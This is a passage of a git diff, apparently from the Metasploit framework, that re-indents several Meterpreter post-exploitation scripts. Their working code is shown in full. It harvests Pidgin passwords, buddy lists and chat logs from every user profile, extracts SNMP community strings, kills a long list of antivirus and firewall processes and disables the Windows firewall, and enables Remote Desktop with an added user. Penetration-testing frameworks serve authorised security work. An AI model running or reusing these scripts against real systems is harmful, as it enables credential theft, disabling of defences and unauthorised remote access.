loopback interfaces + next if route.subnet =~ /^(224\.|127\.)/ + next if route.subnet == '0.0.0.0' + next if route.netmask == '255.255.255.255' + print_line("Local subnet: #{route.subnet}/#{route.netmask}") } diff --git a/scripts/meterpreter/get_pidgin_creds.rb b/scripts/meterpreter/get_pidgin_creds.rb index 77cbe3c649..9edb6df611 100644 --- a/scripts/meterpreter/get_pidgin_creds.rb +++ b/scripts/meterpreter/get_pidgin_creds.rb @@ -5,33 +5,33 @@ require "rexml/document" #------------------------------------------------------------------------------- #Options and Option Parsing opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-c" => [ false, "Return credentials." ], - "-l" => [ false, "Retrieve logs." ], - "-b" => [ false, "Retrieve buddies." ] + "-h" => [ false, "Help menu." ], + "-c" => [ false, "Return credentials." ], + "-l" => [ false, "Retrieve logs." ], + "-b" => [ false, "Retrieve buddies." ] ) get_credentials=false get_buddies=false get_logs=false opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for extracting configured services with username and passwords." - print_line(opts.usage) - raise Rex::Script::Completed - when "-l" - get_logs=true - when "-b" - get_buddies=true - when "-c" - get_credentials=true - end + case opt + when "-h" + print_line "Meterpreter Script for extracting configured services with username and passwords." + print_line(opts.usage) + raise Rex::Script::Completed + when "-l" + get_logs=true + when "-b" + get_buddies=true + when "-c" + get_credentials=true + end } ### If we get here and have none of our flags true, then we'll just ### get credentials if !(get_credentials || get_buddies || get_logs) - get_credentials=true + get_credentials=true end #------------------------------------------------------------------------------- @@ -51,156 +51,156 @@ dest = Rex::FileUtils.clean_path(logs + "/" + host + filenameinfo + ".txt") #------------------------------------------------------------------------------- #function for checking of Pidgin profile is present def check_pidgin(path) - found = nil - @client.fs.dir.foreach(path) do |x| - next if x =~ /^(\.|\.\.)$/ - if x =~ (/\.purple/) - ### If we find the path, let's return it - found = path + x - return found - end - end - return found + found = nil + @client.fs.dir.foreach(path) do |x| + next if x =~ /^(\.|\.\.)$/ + if x =~ (/\.purple/) + ### If we find the path, let's return it + found = path + x + return found + end + end + return found end #------------------------------------------------------------------------------- #function for extracting the buddies def extract_buddies(path) - blist_xml = "" - buddies = "" - print_status("Reading blist.xml file...") - ### modified to use pidgin_path, which already has .purple in it - blist_file = @client.fs.file.new(path + "\\blist.xml", "rb") - until blist_file.eof? - blist_xml << blist_file.read - end - blist_file.close - doc = (REXML::Document.new blist_xml).root - doc.elements["blist"].elements.each("group") {|group| - group.elements.each("contact") {|contact| - b_name=contact.elements["buddy"].elements["name"].text + "" - b_account=contact.elements["buddy"].attributes["account"] + "" - b_proto=contact.elements["buddy"].attributes["proto"] + "" - b_alias="" - if (contact.elements["buddy"].elements["alias"]) - b_alias=contact.elements["buddy"].elements["alias"].text - end - buddies << "buddy=>" + b_name + "\talias=>" + b_alias + "\taccount=>" + b_account + ":" + b_proto + "\n" - } - } - return buddies + blist_xml = "" + buddies = "" + print_status("Reading blist.xml file...") + ### modified to use pidgin_path, which already has .purple in it + blist_file = @client.fs.file.new(path + "\\blist.xml", "rb") + until blist_file.eof? + blist_xml << blist_file.read + end + blist_file.close + doc = (REXML::Document.new blist_xml).root + doc.elements["blist"].elements.each("group") {|group| + group.elements.each("contact") {|contact| + b_name=contact.elements["buddy"].elements["name"].text + "" + b_account=contact.elements["buddy"].attributes["account"] + "" + b_proto=contact.elements["buddy"].attributes["proto"] + "" + b_alias="" + if (contact.elements["buddy"].elements["alias"]) + b_alias=contact.elements["buddy"].elements["alias"].text + end + buddies << "buddy=>" + b_name + "\talias=>" + b_alias + "\taccount=>" + b_account + ":" + b_proto + "\n" + } + } + return buddies end #------------------------------------------------------------------------------- #function for downloading logs def download_logs(dest,pidgin_path) - begin - stat = client.fs.file.stat(pidgin_path+"\\logs") - if(stat.directory?) - print_status("downloading " + pidgin_path +"\\logs to " + dest+"/logs") - client.fs.dir.download(dest+"/logs", pidgin_path+"\\logs", true) - end - rescue - print_status("Log directory does not exist, loggin is not enabled.") - end + begin + stat = client.fs.file.stat(pidgin_path+"\\logs") + if(stat.directory?) + print_status("downloading " + pidgin_path +"\\logs to " + dest+"/logs") + client.fs.dir.download(dest+"/logs", pidgin_path+"\\logs", true) + end + rescue + print_status("Log directory does not exist, loggin is not enabled.") + end end #------------------------------------------------------------------------------- #function for extracting the credentials def extract_creds(path) - accounts_xml = "" - creds = "" - print_status("Reading accounts.xml file...") - ### modified to use pidgin_path, which already has .purple in it - account_file = @client.fs.file.new(path + "\\accounts.xml", "rb") - until account_file.eof? - accounts_xml << account_file.read - end - account_file.close - doc = (REXML::Document.new accounts_xml).root - doc.elements.each("account") {|element| - password = "<unknown>" - if element.elements["password"] - password=element.elements["password"].text - end + accounts_xml = "" + creds = "" + print_status("Reading accounts.xml file...") + ### modified to use pidgin_path, which already has .purple in it + account_file = @client.fs.file.new(path + "\\accounts.xml", "rb") + until account_file.eof? + accounts_xml << account_file.read + end + account_file.close + doc = (REXML::Document.new accounts_xml).root + doc.elements.each("account") {|element| + password = "<unknown>" + if element.elements["password"] + password=element.elements["password"].text + end - print_status("\tProtocol: #{element.elements["protocol"].text}") - print_status("\tUsername: #{element.elements["name"].text}") - print_status("\tPassword: #{element.elements["password"].text}") - print_status("\tServer: #{element.elements["settings"].elements["setting[@name='server']"].text}") - print_status("\tPort: #{element.elements["settings"].elements["setting[@name='port']"].text}") - print_status() + print_status("\tProtocol: #{element.elements["protocol"].text}") + print_status("\tUsername: #{element.elements["name"].text}") + print_status("\tPassword: #{element.elements["password"].text}") + print_status("\tServer: #{element.elements["settings"].elements["setting[@name='server']"].text}") + print_status("\tPort: #{element.elements["settings"].elements["setting[@name='port']"].text}") + print_status() - creds << "user=>#{element.elements["name"].text}" - creds << "\tpass=>#{password}" - creds << "\tserver=>#{element.elements["settings"].elements["setting[@name='server']"].text}" - creds << ":#{element.elements["settings"].elements["setting[@name='port']"].text}" - creds << "\tproto=>#{element.elements["protocol"].text}\n" - } - return creds + creds << "user=>#{element.elements["name"].text}" + creds << "\tpass=>#{password}" + creds << "\tserver=>#{element.elements["settings"].elements["setting[@name='server']"].text}" + creds << ":#{element.elements["settings"].elements["setting[@name='port']"].text}" + creds << "\tproto=>#{element.elements["protocol"].text}\n" + } + return creds end #------------------------------------------------------------------------------- #Function to enumerate the users if running as SYSTEM def enum_users(os) - users = [] + users = [] - path4users = "" - sysdrv = @client.fs.file.expand_path("%SystemDrive%") + path4users = "" + sysdrv = @client.fs.file.expand_path("%SystemDrive%") - if os =~ /Windows 7|Vista|2008/ - path4users = sysdrv + "\\users\\" - path2purple = "\\AppData\\Roaming\\" - else - path4users = sysdrv + "\\Documents and Settings\\" - path2purple = "\\Application Data\\" - end + if os =~ /Windows 7|Vista|2008/ + path4users = sysdrv + "\\users\\" + path2purple = "\\AppData\\Roaming\\" + else + path4users = sysdrv + "\\Documents and Settings\\" + path2purple = "\\Application Data\\" + end - if is_system? - print_status("Running as SYSTEM extracting user list..") - @client.fs.dir.foreach(path4users) do |u| - userinfo = {} - next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ - userinfo['username'] = u - userinfo['userappdata'] = path4users + u + path2purple - users << userinfo - end - else - userinfo = {} - uservar = @client.fs.file.expand_path("%USERNAME%") - userinfo['username'] = uservar - userinfo['userappdata'] = path4users + uservar + path2purple - users << userinfo - end - return users + if is_system? + print_status("Running as SYSTEM extracting user list..") + @client.fs.dir.foreach(path4users) do |u| + userinfo = {} + next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ + userinfo['username'] = u + userinfo['userappdata'] = path4users + u + path2purple + users << userinfo + end + else + userinfo = {} + uservar = @client.fs.file.expand_path("%USERNAME%") + userinfo['username'] = uservar + userinfo['userappdata'] = path4users + uservar + path2purple + users << userinfo + end + return users end #------------------------------------------------------------------------------- ################## MAIN ################## if client.platform =~ /win32|win64/ - print_status("Running Meterpreter Pidgin Credential harvester script") - print_status("All services are logged at #{dest}") - enum_users(os).each do |u| - print_status("Checking if Pidgin profile is present for user :::#{u['username']}:::...") - ### Find the path (if it exists) for this user, - pidgin_path = check_pidgin(u['userappdata']) - if pidgin_path - print_status("Pidgin profile found!") - ### modified to use pidgin_path - if get_credentials - file_local_write(dest,extract_creds(pidgin_path)) - end - if get_buddies - file_local_write(dest,extract_buddies(pidgin_path)) - print_status("Buddie list has been saved to the log file.") - end - if get_logs - download_logs(logs,pidgin_path) - end - else - print_error("Pidgin profile not found!") - end - end + print_status("Running Meterpreter Pidgin Credential harvester script") + print_status("All services are logged at #{dest}") + enum_users(os).each do |u| + print_status("Checking if Pidgin profile is present for user :::#{u['username']}:::...") + ### Find the path (if it exists) for this user, + pidgin_path = check_pidgin(u['userappdata']) + if pidgin_path + print_status("Pidgin profile found!") + ### modified to use pidgin_path + if get_credentials + file_local_write(dest,extract_creds(pidgin_path)) + end + if get_buddies + file_local_write(dest,extract_buddies(pidgin_path)) + print_status("Buddie list has been saved to the log file.") + end + if get_logs + download_logs(logs,pidgin_path) + end + else + print_error("Pidgin profile not found!") + end + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/get_valid_community.rb b/scripts/meterpreter/get_valid_community.rb index 6802176f10..f27cd787dc 100644 --- a/scripts/meterpreter/get_valid_community.rb +++ b/scripts/meterpreter/get_valid_community.rb @@ -4,55 +4,55 @@ session = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu."] + "-h" => [ false, "Help menu."] ) def usage() - print("\nPull the SNMP community string from a Windows Meterpreter session\n\n") - completed + print("\nPull the SNMP community string from a Windows Meterpreter session\n\n") + completed end def get_community(session) - key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities" - root_key, base_key = session.sys.registry.splitkey(key) - open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ) - begin - # oddly enough this does not return the data field which indicates ro/rw - return open_key.enum_value.collect {|x| x.name} - rescue - # no registry key found or other error - return nil - end + key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities" + root_key, base_key = session.sys.registry.splitkey(key) + open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ) + begin + # oddly enough this does not return the data field which indicates ro/rw + return open_key.enum_value.collect {|x| x.name} + rescue + # no registry key found or other error + return nil + end end @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - end + case opt + when "-h" + usage + end } if client.platform =~ /win32|win64/ - print_status("Searching for community strings...") - strs = get_community(session) - if strs - strs.each do |str| - print_good("FOUND: #{str}") - @client.framework.db.report_auth_info( - :host => client.sock.peerhost, - :port => 161, - :proto => 'udp', - :sname => 'snmp', - :user => '', - :pass => str, - :type => "snmp.community", - :duplicate_ok => true - ) - end - else - print_status("Not found") - end + print_status("Searching for community strings...") + strs = get_community(session) + if strs + strs.each do |str| + print_good("FOUND: #{str}") + @client.framework.db.report_auth_info( + :host => client.sock.peerhost, + :port => 161, + :proto => 'udp', + :sname => 'snmp', + :user => '', + :pass => str, + :type => "snmp.community", + :duplicate_ok => true + ) + end + else + print_status("Not found") + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/getcountermeasure.rb b/scripts/meterpreter/getcountermeasure.rb index 51a3200d30..63c1b4f1c6 100644 --- a/scripts/meterpreter/getcountermeasure.rb +++ b/scripts/meterpreter/getcountermeasure.rb @@ -5,370 +5,370 @@ # Version: 0.1.0 session = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-k" => [ false, "Kill any AV, HIPS and Third Party Firewall process found." ], - "-d" => [ false, "Disable built in Firewall" ] + "-h" => [ false, "Help menu." ], + "-k" => [ false, "Kill any AV, HIPS and Third Party Firewall process found." ], + "-d" => [ false, "Disable built in Firewall" ] ) def usage - print_line("Getcountermeasure -- List (or optionally, kill) HIPS and AV") - print_line("processes, show XP firewall rules, and display DEP and UAC") - print_line("policies") - print(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("Getcountermeasure -- List (or optionally, kill) HIPS and AV") + print_line("processes, show XP firewall rules, and display DEP and UAC") + print_line("policies") + print(@@exec_opts.usage) + raise Rex::Script::Completed end #------------------------------------------------------------------------------- avs = %W{ - a2adguard.exe - a2adwizard.exe - a2antidialer.exe - a2cfg.exe - a2cmd.exe - a2free.exe - a2guard.exe - a2hijackfree.exe - a2scan.exe - a2service.exe - a2start.exe - a2sys.exe - a2upd.exe - aavgapi.exe - aawservice.exe - aawtray.exe - ad-aware.exe - ad-watch.exe - alescan.exe - anvir.exe - ashdisp.exe - ashmaisv.exe - ashserv.exe - ashwebsv.exe - aswupdsv.exe - atrack.exe - avgagent.exe - avgamsvr.exe - avgcc.exe - avgctrl.exe - avgemc.exe - avgnt.exe - avgtcpsv.exe - avguard.exe - avgupsvc.exe - avgw.exe - avkbar.exe - avk.exe - avkpop.exe - avkproxy.exe - avkservice.exe - avktray - avktray.exe - avkwctl - avkwctl.exe - avmailc.exe - avp.exe - avpm.exe - avpmwrap.exe - avsched32.exe - avwebgrd.exe - avwin.exe - avwupsrv.exe - avz.exe - bdagent.exe - bdmcon.exe - bdnagent.exe - bdss.exe - bdswitch.exe - blackd.exe - blackice.exe - blink.exe - boc412.exe - boc425.exe - bocore.exe - bootwarn.exe - cavrid.exe - cavtray.exe - ccapp.exe - ccevtmgr.exe - ccimscan.exe - ccproxy.exe - ccpwdsvc.exe - ccpxysvc.exe - ccsetmgr.exe - cfgwiz.exe - cfp.exe - clamd.exe - clamservice.exe - clamtray.exe - cmdagent.exe - cpd.exe - cpf.exe - csinsmnt.exe - dcsuserprot.exe - defensewall.exe - defensewall_serv.exe - defwatch.exe - f-agnt95.exe - fpavupdm.exe - f-prot95.exe - f-prot.exe - fprot.exe - fsaua.exe - fsav32.exe - f-sched.exe - fsdfwd.exe - fsm32.exe - fsma32.exe - fssm32.exe - f-stopw.exe - f-stopw.exe - fwservice.exe - fwsrv.exe - iamstats.exe - iao.exe - icload95.exe - icmon.exe - idsinst.exe - idslu.exe - inetupd.exe - irsetup.exe - isafe.exe - isignup.exe - issvc.exe - kav.exe - kavss.exe - kavsvc.exe - klswd.exe - kpf4gui.exe - kpf4ss.exe - livesrv.exe - lpfw.exe - mcagent.exe - mcdetect.exe - mcmnhdlr.exe - mcrdsvc.exe - mcshield.exe - mctskshd.exe - mcvsshld.exe - mghtml.exe - mpftray.exe - msascui.exe - mscifapp.exe - msfwsvc.exe - msgsys.exe - msssrv.exe - navapsvc.exe - navapw32.exe - navlogon.dll - navstub.exe - navw32.exe - nisemsvr.exe - nisum.exe - nmain.exe - noads.exe - nod32krn.exe - nod32kui.exe - nod32ra.exe - npfmntor.exe - nprotect.exe - nsmdtr.exe - oasclnt.exe - ofcdog.exe - opscan.exe - ossec-agent.exe - outpost.exe - paamsrv.exe - pavfnsvr.exe - pcclient.exe - pccpfw.exe - pccwin98.exe - persfw.exe - protector.exe - qconsole.exe - qdcsfs.exe - rtvscan.exe - sadblock.exe - safe.exe - sandboxieserver.exe - savscan.exe - sbiectrl.exe - sbiesvc.exe - sbserv.exe - scfservice.exe - sched.exe - schedm.exe - scheduler daemon.exe - sdhelp.exe - serv95.exe - sgbhp.exe - sgmain.exe - slee503.exe - smartfix.exe - smc.exe - snoopfreesvc.exe - snoopfreeui.exe - spbbcsvc.exe - sp_rsser.exe - spyblocker.exe - spybotsd.exe - spysweeper.exe - spysweeperui.exe - spywareguard.dll - spywareterminatorshield.exe - ssu.exe - steganos5.exe - stinger.exe - swdoctor.exe - swupdate.exe - symlcsvc.exe - symundo.exe - symwsc.exe - symwscno.exe - tcguard.exe - tds2-98.exe - tds-3.exe - teatimer.exe - tgbbob.exe - tgbstarter.exe - tsatudt.exe - umxagent.exe - umxcfg.exe - umxfwhlp.exe - umxlu.exe - umxpol.exe - umxtray.exe - usrprmpt.exe - vetmsg9x.exe - vetmsg.exe - vptray.exe - vsaccess.exe - vsserv.exe - wcantispy.exe - win-bugsfix.exe - winpatrol.exe - winpatrolex.exe - wrsssdk.exe - xcommsvr.exe - xfr.exe - xp-antispy.exe - zegarynka.exe - zlclient.exe + a2adguard.exe + a2adwizard.exe + a2antidialer.exe + a2cfg.exe + a2cmd.exe + a2free.exe + a2guard.exe + a2hijackfree.exe + a2scan.exe + a2service.exe + a2start.exe + a2sys.exe + a2upd.exe + aavgapi.exe + aawservice.exe + aawtray.exe + ad-aware.exe + ad-watch.exe + alescan.exe + anvir.exe + ashdisp.exe + ashmaisv.exe + ashserv.exe + ashwebsv.exe + aswupdsv.exe + atrack.exe + avgagent.exe + avgamsvr.exe + avgcc.exe + avgctrl.exe + avgemc.exe + avgnt.exe + avgtcpsv.exe + avguard.exe + avgupsvc.exe + avgw.exe + avkbar.exe + avk.exe + avkpop.exe + avkproxy.exe + avkservice.exe + avktray + avktray.exe + avkwctl + avkwctl.exe + avmailc.exe + avp.exe + avpm.exe + avpmwrap.exe + avsched32.exe + avwebgrd.exe + avwin.exe + avwupsrv.exe + avz.exe + bdagent.exe + bdmcon.exe + bdnagent.exe + bdss.exe + bdswitch.exe + blackd.exe + blackice.exe + blink.exe + boc412.exe + boc425.exe + bocore.exe + bootwarn.exe + cavrid.exe + cavtray.exe + ccapp.exe + ccevtmgr.exe + ccimscan.exe + ccproxy.exe + ccpwdsvc.exe + ccpxysvc.exe + ccsetmgr.exe + cfgwiz.exe + cfp.exe + clamd.exe + clamservice.exe + clamtray.exe + cmdagent.exe + cpd.exe + cpf.exe + csinsmnt.exe + dcsuserprot.exe + defensewall.exe + defensewall_serv.exe + defwatch.exe + f-agnt95.exe + fpavupdm.exe + f-prot95.exe + f-prot.exe + fprot.exe + fsaua.exe + fsav32.exe + f-sched.exe + fsdfwd.exe + fsm32.exe + fsma32.exe + fssm32.exe + f-stopw.exe + f-stopw.exe + fwservice.exe + fwsrv.exe + iamstats.exe + iao.exe + icload95.exe + icmon.exe + idsinst.exe + idslu.exe + inetupd.exe + irsetup.exe + isafe.exe + isignup.exe + issvc.exe + kav.exe + kavss.exe + kavsvc.exe + klswd.exe + kpf4gui.exe + kpf4ss.exe + livesrv.exe + lpfw.exe + mcagent.exe + mcdetect.exe + mcmnhdlr.exe + mcrdsvc.exe + mcshield.exe + mctskshd.exe + mcvsshld.exe + mghtml.exe + mpftray.exe + msascui.exe + mscifapp.exe + msfwsvc.exe + msgsys.exe + msssrv.exe + navapsvc.exe + navapw32.exe + navlogon.dll + navstub.exe + navw32.exe + nisemsvr.exe + nisum.exe + nmain.exe + noads.exe + nod32krn.exe + nod32kui.exe + nod32ra.exe + npfmntor.exe + nprotect.exe + nsmdtr.exe + oasclnt.exe + ofcdog.exe + opscan.exe + ossec-agent.exe + outpost.exe + paamsrv.exe + pavfnsvr.exe + pcclient.exe + pccpfw.exe + pccwin98.exe + persfw.exe + protector.exe + qconsole.exe + qdcsfs.exe + rtvscan.exe + sadblock.exe + safe.exe + sandboxieserver.exe + savscan.exe + sbiectrl.exe + sbiesvc.exe + sbserv.exe + scfservice.exe + sched.exe + schedm.exe + scheduler daemon.exe + sdhelp.exe + serv95.exe + sgbhp.exe + sgmain.exe + slee503.exe + smartfix.exe + smc.exe + snoopfreesvc.exe + snoopfreeui.exe + spbbcsvc.exe + sp_rsser.exe + spyblocker.exe + spybotsd.exe + spysweeper.exe + spysweeperui.exe + spywareguard.dll + spywareterminatorshield.exe + ssu.exe + steganos5.exe + stinger.exe + swdoctor.exe + swupdate.exe + symlcsvc.exe + symundo.exe + symwsc.exe + symwscno.exe + tcguard.exe + tds2-98.exe + tds-3.exe + teatimer.exe + tgbbob.exe + tgbstarter.exe + tsatudt.exe + umxagent.exe + umxcfg.exe + umxfwhlp.exe + umxlu.exe + umxpol.exe + umxtray.exe + usrprmpt.exe + vetmsg9x.exe + vetmsg.exe + vptray.exe + vsaccess.exe + vsserv.exe + wcantispy.exe + win-bugsfix.exe + winpatrol.exe + winpatrolex.exe + wrsssdk.exe + xcommsvr.exe + xfr.exe + xp-antispy.exe + zegarynka.exe + zlclient.exe } #------------------------------------------------------------------------------- # Check for the presence of AV, HIPS and Third Party firewall and/or kill the # processes associated with it def check(session,avs,killbit) - print_status("Checking for contermeasures...") - session.sys.process.get_processes().each do |x| - if (avs.index(x['name'].downcase)) - print_status("\tPossible countermeasure found #{x['name']} #{x['path']}") - if (killbit) - print_status("\tKilling process for countermeasure.....") - session.sys.process.kill(x['pid']) - end - end - end + print_status("Checking for contermeasures...") + session.sys.process.get_processes().each do |x| + if (avs.index(x['name'].downcase)) + print_status("\tPossible countermeasure found #{x['name']} #{x['path']}") + if (killbit) + print_status("\tKilling process for countermeasure.....") + session.sys.process.kill(x['pid']) + end + end + end end #------------------------------------------------------------------------------- # Get the configuration and/or disable the built in Windows Firewall def checklocalfw(session,killfw) - print_status("Getting Windows Built in Firewall configuration...") - opmode = "" - r = session.sys.process.execute("cmd.exe /c netsh firewall show opmode", nil, {'Hidden' => 'true', 'Channelized' => true}) - while(d = r.channel.read) - opmode << d - end - r.channel.close - r.close - opmode.split("\n").each do |o| - print_status("\t#{o}") - end - if (killfw) - print_status("Disabling Built in Firewall.....") - f = session.sys.process.execute("cmd.exe /c netsh firewall set opmode mode=DISABLE", nil, {'Hidden' => 'true','Channelized' => true}) - while(d = f.channel.read) - if d =~ /The requested operation requires elevation./ - print_status("\tUAC or Insufficient permissions prevented the disabling of Firewall") - end - end - f.channel.close - f.close - end + print_status("Getting Windows Built in Firewall configuration...") + opmode = "" + r = session.sys.process.execute("cmd.exe /c netsh firewall show opmode", nil, {'Hidden' => 'true', 'Channelized' => true}) + while(d = r.channel.read) + opmode << d + end + r.channel.close + r.close + opmode.split("\n").each do |o| + print_status("\t#{o}") + end + if (killfw) + print_status("Disabling Built in Firewall.....") + f = session.sys.process.execute("cmd.exe /c netsh firewall set opmode mode=DISABLE", nil, {'Hidden' => 'true','Channelized' => true}) + while(d = f.channel.read) + if d =~ /The requested operation requires elevation./ + print_status("\tUAC or Insufficient permissions prevented the disabling of Firewall") + end + end + f.channel.close + f.close + end end #------------------------------------------------------------------------------- # Function for getting the current DEP Policy on the Windows Target def checkdep(session) - tmpout = "" - depmode = "" - # Expand environment %TEMP% variable - tmp = session.fs.file.expand_path("%TEMP%") - # Create random name for the wmic output - wmicfile = sprintf("%.5d",rand(100000)) - wmicout = "#{tmp}\\#{wmicfile}" - print_status("Checking DEP Support Policy...") - r = session.sys.process.execute("cmd.exe /c wmic /append:#{wmicout} OS Get DataExecutionPrevention_SupportPolicy", nil, {'Hidden' => true}) - sleep(2) - r.close - r = session.sys.process.execute("cmd.exe /c type #{wmicout}", nil, {'Hidden' => 'true','Channelized' => true}) - while(d = r.channel.read) - tmpout << d - end - r.channel.close - r.close - session.sys.process.execute("cmd.exe /c del #{wmicout}", nil, {'Hidden' => true}) - depmode = tmpout.scan(/(\d)/) - if depmode.to_s == "0" - print_status("\tDEP is off for the whole system.") - elsif depmode.to_s == "1" - print_status("\tFull DEP coverage for the whole system with no exceptions.") - elsif depmode.to_s == "2" - print_status("\tDEP is limited to Windows system binaries.") - elsif depmode.to_s == "3" - print_status("\tDEP is on for all programs and services.") - end + tmpout = "" + depmode = "" + # Expand environment %TEMP% variable + tmp = session.fs.file.expand_path("%TEMP%") + # Create random name for the wmic output + wmicfile = sprintf("%.5d",rand(100000)) + wmicout = "#{tmp}\\#{wmicfile}" + print_status("Checking DEP Support Policy...") + r = session.sys.process.execute("cmd.exe /c wmic /append:#{wmicout} OS Get DataExecutionPrevention_SupportPolicy", nil, {'Hidden' => true}) + sleep(2) + r.close + r = session.sys.process.execute("cmd.exe /c type #{wmicout}", nil, {'Hidden' => 'true','Channelized' => true}) + while(d = r.channel.read) + tmpout << d + end + r.channel.close + r.close + session.sys.process.execute("cmd.exe /c del #{wmicout}", nil, {'Hidden' => true}) + depmode = tmpout.scan(/(\d)/) + if depmode.to_s == "0" + print_status("\tDEP is off for the whole system.") + elsif depmode.to_s == "1" + print_status("\tFull DEP coverage for the whole system with no exceptions.") + elsif depmode.to_s == "2" + print_status("\tDEP is limited to Windows system binaries.") + elsif depmode.to_s == "3" + print_status("\tDEP is on for all programs and services.") + end end #------------------------------------------------------------------------------- def checkuac(session) - print_status("Checking if UAC is enabled ...") - key = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System' - root_key, base_key = session.sys.registry.splitkey(key) - value = "EnableLUA" - open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ) - v = open_key.query_value(value) - if v.data == 1 - print_status("\tUAC is Enabled") - else - print_status("\tUAC is Disabled") - end + print_status("Checking if UAC is enabled ...") + key = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System' + root_key, base_key = session.sys.registry.splitkey(key) + value = "EnableLUA" + open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ) + v = open_key.query_value(value) + if v.data == 1 + print_status("\tUAC is Enabled") + else + print_status("\tUAC is Disabled") + end end ################## MAIN ################## killbt = false killfw = false @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-k" - killbt = true - when "-d" - killfw = true - when "-h" - usage - end + case opt + when "-k" + killbt = true + when "-d" + killfw = true + when "-h" + usage + end } # get the version of windows if client.platform =~ /win32|win64/ - wnvr = session.sys.config.sysinfo["OS"] - print_status("Running Getcountermeasure on the target...") - check(session,avs,killbt) - if wnvr !~ /Windows 2000/ - checklocalfw(session, killfw) - checkdep(session) - end - if wnvr =~ /Windows Vista/ - checkuac(session) - end + wnvr = session.sys.config.sysinfo["OS"] + print_status("Running Getcountermeasure on the target...") + check(session,avs,killbt) + if wnvr !~ /Windows 2000/ + checklocalfw(session, killfw) + checkdep(session) + end + if wnvr =~ /Windows Vista/ + checkuac(session) + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/getgui.rb b/scripts/meterpreter/getgui.rb index f027423a46..f9f1d01893 100644 --- a/scripts/meterpreter/getgui.rb +++ b/scripts/meterpreter/getgui.rb @@ -17,107 +17,107 @@ logs = ::File.join(Msf::Config.log_directory,'scripts', 'getgui') @dest = logs + "/clean_up_" + filenameinfo + ".rc" @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-e" => [ false, "Enable RDP only." ], - "-p" => [ true, "The Password of the user to add." ], - "-u" => [ true, "The Username of the user to add." ], - "-f" => [ true, "Forward RDP Connection." ] + "-h" => [ false, "Help menu." ], + "-e" => [ false, "Enable RDP only." ], + "-p" => [ true, "The Password of the user to add." ], + "-u" => [ true, "The Username of the user to add." ], + "-f" => [ true, "Forward RDP Connection." ] ) def usage - print_line("Windows Remote Desktop Enabler Meterpreter Script") - print_line("Usage: getgui -u <username> -p <password>") - print_line("Or: getgui -e") - print(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("Windows Remote Desktop Enabler Meterpreter Script") + print_line("Usage: getgui -u <username> -p <password>") + print_line("Or: getgui -e") + print(@@exec_opts.usage) + raise Rex::Script::Completed end def enablerd() - key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server' - value = "fDenyTSConnections" - begin - v = registry_getvaldata(key,value) - print_status "Enabling Remote Desktop" - if v == 1 - print_status "\tRDP is disabled; enabling it ..." - registry_setvaldata(key,value,0,"REG_DWORD") - file_local_write(@dest,"reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"") - else - print_status "\tRDP is already enabled" - end - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server' + value = "fDenyTSConnections" + begin + v = registry_getvaldata(key,value) + print_status "Enabling Remote Desktop" + if v == 1 + print_status "\tRDP is disabled; enabling it ..." + registry_setvaldata(key,value,0,"REG_DWORD") + file_local_write(@dest,"reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"") + else + print_status "\tRDP is already enabled" + end + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end end def enabletssrv() - rdp_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService" - begin - v2 = registry_getvaldata(rdp_key,"Start") - print_status "Setting Terminal Services service startup mode" - if v2 != 2 - print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..." - service_change_startup("TermService","auto") - file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"") - cmd_exec("sc start termservice") - file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc stop termservice\"") + rdp_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService" + begin + v2 = registry_getvaldata(rdp_key,"Start") + print_status "Setting Terminal Services service startup mode" + if v2 != 2 + print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..." + service_change_startup("TermService","auto") + file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"") + cmd_exec("sc start termservice") + file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc stop termservice\"") - else - print_status "\tTerminal Services service is already set to auto" - end - #Enabling Exception on the Firewall - print_status "\tOpening port in local firewall if necessary" - cmd_exec('netsh firewall set service type = remotedesktop mode = enable') - file_local_write(@dest,"execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode 